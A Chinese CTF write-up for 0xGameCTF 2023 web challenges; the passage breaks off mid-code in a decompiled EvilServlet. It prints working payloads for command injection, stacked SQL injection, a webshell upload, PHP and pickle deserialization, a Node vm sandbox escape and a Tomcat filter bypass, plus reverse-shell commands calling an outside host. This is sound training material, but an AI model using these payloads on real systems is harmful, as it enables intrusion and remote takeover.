0


[0xGameCTF 2023] web题解

文章目录


[Week 1]

signin

打开题目,查看下js代码
在main.js里找到flag
在这里插入图片描述

baby_php

 <?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $c = $_POST['c'];
    $name = $_COOKIE['name'];

    if ($a != $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
            include($name.'.php');
        }
    }
}
?> 

简单分析一下,参数a和b值不相等但MD5相等;参数c不为数字,不等于1024,且转换为整数时等于1024;参数name为伪协议

得到flag
在这里插入图片描述

hello_http

就是一些基本的http请求知识
按照要求来,得到flag
在这里插入图片描述

repo_leak

打开题目,提示git泄露
在这里插入图片描述使用工具
先运行工具

GitHack

,再访问

./.git/

在这里插入图片描述但是这里提取不到,要用到另外一个工具

git_extract

(python2环境,我这里两个版本都下了)
在这里插入图片描述然后在posts文件夹找到,得到flag
在这里插入图片描述

ping

打开题目,发现是ping命令
查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint
在这里插入图片描述访问一下,得到源码

 <?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?> 

分析一下,过滤了分号,空格,斜杠,flag。分号我们用%0a代替;空格用%09代替;斜杠利用`cd …;cd…;cd…代替;flag直接反斜杠绕过

bp抓包,添加命令得到flag
在这里插入图片描述

[Week 2]

ez_sqli

源码

from flask import Flask, render_template, request
import MySQLdb
import re

blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']

conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')

app = Flask(__name__)

@app.route('/')
def index():
    field = request.args.get('order', 'id')
    field = re.sub(r'\s+', '', field)

    for s in blacklist:
        if s.lower() in field.lower():
            return s + ' are banned'

    if not re.match(r"id|name|email", field):
        field = 'id'

    with conn.cursor() as cursor:
        cursor.execute('SELECT * FROM userinfo order by %s' % field)
        res = cursor.fetchall()

    return render_template('index.html', res=res)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

分析一下

  1. 首先是过滤了很多查询用的关键字
  2. 然后是禁用了空格,大小写绕过
  3. 上传参数值匹配id|name|email
  4. 最后就是查询语句cursor.execute('SELECT * FROM userinfo order by %s' % field)

这里的cursor.execute()是可以执行多条语句,我们可以使用堆叠注入;然后hint提示我们考点为预处理语句

set @id=1;
prepare stmt from 'SELECT * FROM users WHERE id=?';
execute stmt using @id;

由于这里没有禁用报错注入的函数,我们用updatexml去回显
payload

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),3);prepare ctf from @a;execute ctf;

方法一(十六进制绕过)

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C312C333129292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

在这里插入图片描述然后查后面那一段

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),32,99)),0x7e),3);prepare ctf from @a;execute ctf;

十六进制绕过

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C33322C393929292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

得到后面一段flag
在这里插入图片描述

方法二(字符串拼接)

payload相同

id;set/**/@a=concat("sel","ect/**/updat","exml(1,concat(0x7e,(sel","ect/**/substr((sel","ect/**/flag/**/from/**/flag),1,31)),0x7e),3)");prepare/**/ctf/**/from/**/@a;execute/**/ctf;

也能得到flag
在这里插入图片描述

ez_upload

给了题目附件,我们主要看下upload源码

<?php
error_reporting(0);
session_start();

$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';

if (!file_exists($user_dir)) {
    mkdir($user_dir);
}

switch ($_FILES['file']['type']) {
    case "image/gif":
        $source = imagecreatefromgif($_FILES['file']['tmp_name']);
        break;
    case "image/jpeg":
        $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
        break;
    case "image/png":
        $source = imagecreatefrompng($_FILES['file']['tmp_name']);
        break;
    default:
        die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;

switch ($_FILES['file']['type']) {
    case "image/gif":
        imagegif($source, $filepath);
        break;
    case "image/jpeg":
        imagejpeg($source, $filepath);
        break;
    case "image/png":
        imagepng($source, $filepath);
        break;
    default:
        die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;

$_SESSION['avatar'] = $filepath;
?>

简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径
我们这里用的是gif,我们先上传一下
然后打开010观察上传后的图片和之前对比哪里是不变的
在这里插入图片描述然后在不会被二次渲染改变的地方添加一句话木马
(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)
上传图片,然后bp抓包修改文件后缀为php
在这里插入图片描述
访问,命令执行得到flag
在这里插入图片描述

ez_unserialize

源码

<?php

show_source(__FILE__);

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);
}
?> 

题目给了提示,pop链子直接给出来

DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()

我们分段分析下首先是 DataObject类

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

遍历 data 的内容, 将 key 和 value 赋值给 storage, 触发 Storage 的 __set ⽅法

Storage类

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

如果 store 为空则初始化⼀个空的 array, 然后调⽤

$value

的 expired ⽅法, 如果返回 False, 则会将

$value

放⼊

$store

然后看Cache类

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

调用expired()方法后,由于__wakeup方法会使得if语句不成立,从而无法继续调用后面的。所以这里要引用绕过,从而继续调用clean()

最后是Help类


class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}
__call()

方法会按照传入的 name 从 funcs 数组中取出对应的函数名, 然后将 args 作为参数, 动态调用这个函数, 这里就是最终的利用点, 也就是可以 getshell 的地方。也就是说clean作为name的值,只需要让键名为clean的值为system即可。

exp

<?php

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;
}

class Storage {
    public $store;
}

class Helper {
    public $funcs;
}

class DataObject {
    public $storage;
    public $data;
}

$a=new DataObject();
$b=new Storage();
$cache1=new Cache();
$cache2=new Cache();
$d=new Helper();
$a->data=array('key1'=>$cache1,'key2'=>$cache2);
$a->storage=$b;
//store = array('key1'=>$cache1,'key2'=>$cache2)
//所以下面的$cache2->expired就不会被__wakeup所影响,因为指向的是非空数组
$cache1->expired=FALSE;
$b->store = &$cache2->expired;
$cache2->key = 'php -r "phpinfo();"';
$cache2->helper = $d;
$d->funcs = array('clean' => 'system');
echo serialize($a);
?> 

这里flag在环境变量处。我直接在phpinfo找,得到flag
在这里插入图片描述

ez_sandbox

源码

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

可以知道源码有merge函数,可以造成原型链污染。这里过滤了

__proto__

,那么我们用constructor.prototype绕过;登陆成功条件为username in users

我们先注册⼀个 test 用户, 在登录时 POST 如下内容, 污染 admins 对象, 使得 username in admins 表达式的结果为True

{
    "username": "test",
    "password": "test"
    "constructor": {
        "prototype": {
            "test": "123"
        }
    }
}

先bp抓包发送
在这里插入图片描述

然后输入test,test登陆成功,并且成功污染
在这里插入图片描述然后就是简单的沙箱逃逸

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})
  • Hint 2: vm 沙箱逃逸 (arguments.callee.caller)

可以注意到这里的let sandbox = Object.create(null),此时this为null,所以得利用arguments.callee.caller

  • Hint 4: 通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性

  • Hint 3: 在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message)

同时我们注意到这里执行code后没有返回输出任何值,但是有try-catch语句,所以我们还需要用到异常处理,利用console.log将报错信息和rce的回显一起带出来

虽然对很多关键字过滤,但是可以用JavaScript的特性:中括号 + 字符串拼接的形式绕过
payload

throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
    get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
        const c = arguments.callee.caller
        const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
        return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
    }
})

或者是

let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
})
throw obj

在这里插入图片描述

[Week 3]

notebook

考点:session伪造,pickle反序列化,反弹shell

这道题是给了源码,如下

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)

@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

题目给了提示,我们可以利用SECRET_KEY去session伪造

app.config['SECRET_KEY'] = os.urandom(2).hex()

由于

os.urandom(2).hex()

只有四位数,我们可以尝试爆破
脚本

import os
with open('dict.txt','w') as f:
    for i in range(1,9999999):
        a=os.urandom(2).hex()
        f.write("\"{}\"\n".format(a))  //加上双引号是方便后面字典使用

然后将字典复制到Flask-Unsign的目录下

我们先随便创建,然后复制cookie用Flask-Unsign工具结合刚刚的字典爆破出key

在这里插入图片描述
然后就是利用路由

/<path:note_id>

下的pickle反序列化
这里用的是反弹shell,payload如下()

b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
tR.
'''

然后就是session伪造,注意note_id值要为对应值
在这里插入图片描述刷新页面bp抓包,然后替换如上cookie
成功反弹shell
在这里插入图片描述

得到flag
在这里插入图片描述

zip_file_manager

源码

from flask import Flask, request, render_template, redirect, send_file
import hashlib
import os

app = Flask(__name__)

def md5(m):
    return hashlib.md5(m.encode('utf-8')).hexdigest()

@app.route('/unzip', methods=['POST'])
def unzip():
    f = request.files.get('file')
    if not f.filename.endswith('.zip'):
        return redirect('/')

    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    zip_path = os.path.join(user_dir, f.filename)
    dest_path = os.path.join(user_dir, f.filename[:-4])
    f.save(zip_path)

    os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
    return redirect('/')

@app.route('/', defaults={'subpath': ''}, methods=['GET'])
@app.route('/<path:subpath>', methods=['GET'])
def index(subpath):
    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    if '..' in subpath:
        return 'blacklist'

    current_path = os.path.join(user_dir, subpath)

    if os.path.isdir(current_path):
        res = []
        res.append({'type': 'Directory', 'name': '..'})
        for v in os.listdir(current_path):
            if os.path.isfile(os.path.join(current_path, v)):
                res.append({'type': 'File', 'name': v})
            else:
                res.append({'type': 'Directory', 'name': v})
        return render_template('index.html', upload_path=user_dir, res=res)
    else:
        return send_file(current_path)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

分析一下,只能上传zip文件,然后用unzip命令去解压,黑名单是

..

,也就是不能进行目录穿越

方法一 命令注入

分析源码可知路径是拼接的,但是看向源码中的下面这个句子

os.system('unzip -o {} -d {}'.format(zip_path, dest_path))

不难发现文件名是可控的,那么我们结合命令注入来实现RCE
我们随便上传一个test.zip,然后抓包修改文件名为

test.zip;bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgIDA+JjE=}|{base64,-d}|{bash,-i}';1.zip

注:

bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1

为base64编码绕过

反弹shell成功,得到flag
在这里插入图片描述

方法二 zip软连接

Linux 存在软链接这⼀功能, ⽽ zip ⽀持压缩软链接, 程序⼜是⽤ unzip 命令进⾏解压缩, 因此会存在这个漏洞 (相⽐之下如果使⽤ Python 的 zipfile 库进⾏解压缩, 就不会存在这个问题)

我们先打开linux,创建软链接指向根目录(

/

),命名为test

ln -s / test

然后将其打包为一个压缩文件

zip -y test.zip test

在这里插入图片描述然后上传,在

./test/test

处找到下载,得到flag
在这里插入图片描述

GoShop

源码

package main

import (
    "crypto/rand"
    "embed"
    "fmt"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "github.com/google/uuid"
    "html/template"
    "net/http"
    "os"
    "strconv"
)

type User struct {
    Id    string
    Money int64
    Items map[string]int64
}

type Product struct {
    Name  string
    Price int64
}

var users map[string]*User

var products []*Product

//go:embed public
var fs embed.FS

func init() {
    users = make(map[string]*User)
    products = []*Product{
        {Name: "Apple", Price: 10},
        {Name: "Banana", Price: 50},
        {Name: "Orange", Price: 100},
        {Name: "Flag", Price: 999999999},
    }
}

func IndexHandler(c *gin.Context) {
    c.HTML(200, "index.html", gin.H{})
}

func InfoHandler(c *gin.Context) {
    s := sessions.Default(c)

    if s.Get("id") == nil {
        u := uuid.New().String()
        users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
        s.Set("id", u)
        s.Save()
    }

    user := users[s.Get("id").(string)]
    c.JSON(200, gin.H{
        "user": user,
    })
}

func ResetHandler(c *gin.Context) {
    s := sessions.Default(c)
    s.Clear()

    u := uuid.New().String()
    users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
    s.Set("id", u)
    s.Save()

    c.JSON(200, gin.H{
        "message": "Reset success",
    })
}

func BuyHandler(c *gin.Context) {
    s := sessions.Default(c)
    user := users[s.Get("id").(string)]

    data := make(map[string]interface{})
    c.ShouldBindJSON(&data)

    var product *Product

    for _, v := range products {
        if data["name"] == v.Name {
            product = v
            break
        }
    }

    if product == nil {
        c.JSON(200, gin.H{
            "message": "No such product",
        })
        return
    }

    n, _ := strconv.Atoi(data["num"].(string))

    if n < 0 {
        c.JSON(200, gin.H{
            "message": "Product num can't be negative",
        })
        return
    }

    if user.Money >= product.Price*int64(n) {
        user.Money -= product.Price * int64(n)
        user.Items[product.Name] += int64(n)
        c.JSON(200, gin.H{
            "message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
        })
    } else {
        c.JSON(200, gin.H{
            "message": "You don't have enough money",
        })
    }
}

func SellHandler(c *gin.Context) {
    s := sessions.Default(c)
    user := users[s.Get("id").(string)]

    data := make(map[string]interface{})
    c.ShouldBindJSON(&data)

    var product *Product

    for _, v := range products {
        if data["name"] == v.Name {
            product = v
            break
        }
    }

    if product == nil {
        c.JSON(200, gin.H{
            "message": "No such product",
        })
        return
    }

    count := user.Items[data["name"].(string)]
    n, _ := strconv.Atoi(data["num"].(string))

    if n < 0 {
        c.JSON(200, gin.H{
            "message": "Product num can't be negative",
        })
        return
    }

    if count >= int64(n) {
        user.Money += product.Price * int64(n)
        user.Items[product.Name] -= int64(n)
        c.JSON(200, gin.H{
            "message": fmt.Sprintf("Sell %v * %v success", product.Name, n),
        })
    } else {
        c.JSON(200, gin.H{
            "message": "You don't have enough product",
        })
    }
}

func FlagHandler(c *gin.Context) {
    s := sessions.Default(c)
    user := users[s.Get("id").(string)]

    v, ok := user.Items["Flag"]
    if !ok || v <= 0 {
        c.JSON(200, gin.H{
            "message": "You must buy <code>flag</code> first",
        })
        return
    }

    flag, _ := os.ReadFile("/flag")
    c.JSON(200, gin.H{
        "message": fmt.Sprintf("Here is your flag: <code>%s</code>", string(flag)),
    })
}

func main() {
    secret := make([]byte, 16)
    rand.Read(secret)

    tpl, _ := template.ParseFS(fs, "public/index.html")
    store := cookie.NewStore(secret)

    r := gin.Default()
    r.SetHTMLTemplate(tpl)
    r.Use(sessions.Sessions("gosession", store))

    r.GET("/", IndexHandler)

    api := r.Group("/api")
    {
        api.GET("/info", InfoHandler)
        api.POST("/buy", BuyHandler)
        api.POST("/sell", SellHandler)
        api.GET("/flag", FlagHandler)
        api.GET("/reset", ResetHandler)
    }

    r.StaticFileFS("/static/main.js", "public/main.js", http.FS(fs))
    r.StaticFileFS("/static/simple.css", "public/simple.css", http.FS(fs))

    r.Run(":8000")
}

目的非常直接,就是要够钱买flag
在这里插入图片描述

由于源码是go语言,我们先要了解下概念

  • Go 语⾔是强类型语⾔, 包含多种数据类型, 以数字类型为例, 存在 uint8 uint16 uint32 uint64 (⽆符号整型) 和 int8 int16 int32 int64 (有符号整型) 等类型
  • Go 语⾔在编译期会检查源码中定义的变量是否存在溢出, 例如 var i uint8 = 99999 会使得编译不通过, 但是并 不会检查变量的运算过程中是否存在溢出, 例如 var i uint8 = a * b , 如果程序没有对变量的取值范围做限制, 那么在部分场景下就可能存在整数溢出漏洞
if user.Money >= product.Price*int64(n) {
        user.Money -= product.Price * int64(n)
        user.Items[product.Name] += int64(n)
        c.JSON(200, gin.H{
            "message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
        })
    } else {
        c.JSON(200, gin.H{
            "message": "You don't have enough money",
        })
    }

然后我们观察到会判断⽤户的 money 时将其转换成了 int64 类型, ⽽ product.Price 本身也是 int64 类型
查阅相关⽂档可以知道 int64 类型的范围是 -9223372036854775808 ~ 9223372036854775807
并且上⾯的 BuyHandler 虽然限制了 n 不能为负数, 但是并没有限制 n 的最⼤值
所以哦我们购买9223372036854775807+1个苹果
在这里插入图片描述可以发现钱够了,直接买flag
在这里插入图片描述

[Week 4]

spring

考点:Spring Boot Actuator 未授权漏洞

打开题目,提示actuator
题目hint
在这里插入图片描述
Spring Boot Actuator 未授权是存在敏感信息泄露的漏洞,也就是hint2
我们访问

./actuator/env

,可以发现flag就藏在密码中
在这里插入图片描述然后就是访问

./actuator/heapdump

,获得泄露的堆栈信息,比如一些关键的Key,或者数据库连接密码
得到该文件后,利用JDumpSpider工具,得到该密码也就是flag

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

在这里插入图片描述

auth_bypass

考点: Tomcat Filter 绕过、Java 任意⽂件下载搭配 WEB-INF ⽬录的利⽤

先看给的附件
DownloadServlet.java

package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;

public class DownloadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String currentPath = this.getServletContext().getRealPath("/assets/");
        Object fileNameParameter = req.getParameter("filename");
        if (fileNameParameter != null) {
            String fileName = (String) fileNameParameter;
            resp.setHeader("Content-Disposition","attachment;filename="+fileName);
            try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
                byte[] buffer = new byte[4096];
                while (input.read(buffer) != -1) {
                    resp.getOutputStream().write(buffer);
                }
            }
        } else {
            resp.setContentType("text/html");
            resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
        }
    }
}

整个代码的大概逻辑如下

  1. 在doGet()方法中,首先获取当前路径,即ServletContext中名为"/assets/"的真实路径。然后,从请求参数中获取名为"filename"的参数值。
  2. 如果"filename"参数存在,说明客户端请求下载一个文件。
  3. 如果"filename"参数不存在,说明客户端请求的是下载页面本身。这时,将响应的内容类型设置为"text/html",并通过响应的输出流输出一个带有下载链接的HTML页面,链接指向"/download?filename=avatar.jpg",文件名为"avatar.jpg"。

然后再看看AuthFilter.java

package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AuthFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig)  {
    }

    @Override
    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;

        if (request.getRequestURI().contains("..")) {
            resp.getWriter().write("blacklist");
            return;
        }

        if (request.getRequestURI().startsWith("/download")) {
            resp.getWriter().write("unauthorized access");
        } else {
            chain.doFilter(req, resp);
        }
    }
}

分析一下,首先对

..

进行了过滤;接着是如果访问

./download

路由,返回unauthorized access,也就是说DownloadServlet 很明显存在任意文件下载, 但是 AuthFilter 限制不能访问

/download

路由

根据相关文章可以知道, 直接通过 getRequestURI() 得到的 url 路径存在⼀些问题, 比如不会自动 urldecode, 也
不会进行标准化 (去除多余的

/

..

)。由于

..

被过滤了, 所以直接访问 //download 就能绕过, 后面目录穿越下载文件的时候可以将

..

进行一次 url编码

然后可以通过 //download?filename=avatar.jpg 下载文件, 但是无法读取 /flag (提示 Permission denied),那么很明显需要 RCE

根据题目描述, 网站使用 war 打包,这个 war 其实也就相当于压缩包, Tomcat 在部署 war 的时候会将其解压, 而压缩包内会存在⼀个 WEB-INF 目录,目录里面包含编译好的 .class 文件以及 web.xml (保存路由和类的映射关系)
下载 web.xml

//download?filename=%2e%2e/WEB-INF/web.xml

xml内容如下

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>IndexServlet</servlet-name>
        <servlet-class>com.example.demo.IndexServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>com.example.demo.DownloadServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>EvilServlet</servlet-name>
        <servlet-class>com.example.demo.EvilServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>IndexServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/download</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>EvilServlet</servlet-name>
        <url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
    </servlet-mapping>
    
    <filter>
        <filter-name>AuthFilter</filter-name>
        <filter-class>com.example.demo.AuthFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>AuthFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
</web-app>

可以看到存在 EvilServlet, 映射的路由为

/You_Find_This_Evil_Servlet_a76f02cb8422

根据网上文章的知识点, 通过包名 (com.example.demo.EvilServlet) 构造对应的 class 文件路径并下载

//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class

然后用 JD-GUI 工具进行反编译(保存那一个即可)
得到源码

/*    */ import java.io.IOException;
/*    */ import javax.servlet.http.HttpServlet;
/*    */ import javax.servlet.http.HttpServletRequest;
/*    */ import javax.servlet.http.HttpServletResponse;
/*    */ 
/*    */ public class EvilServlet extends HttpServlet {
/*    */   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
/* 11 */     String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
/*    */     try {
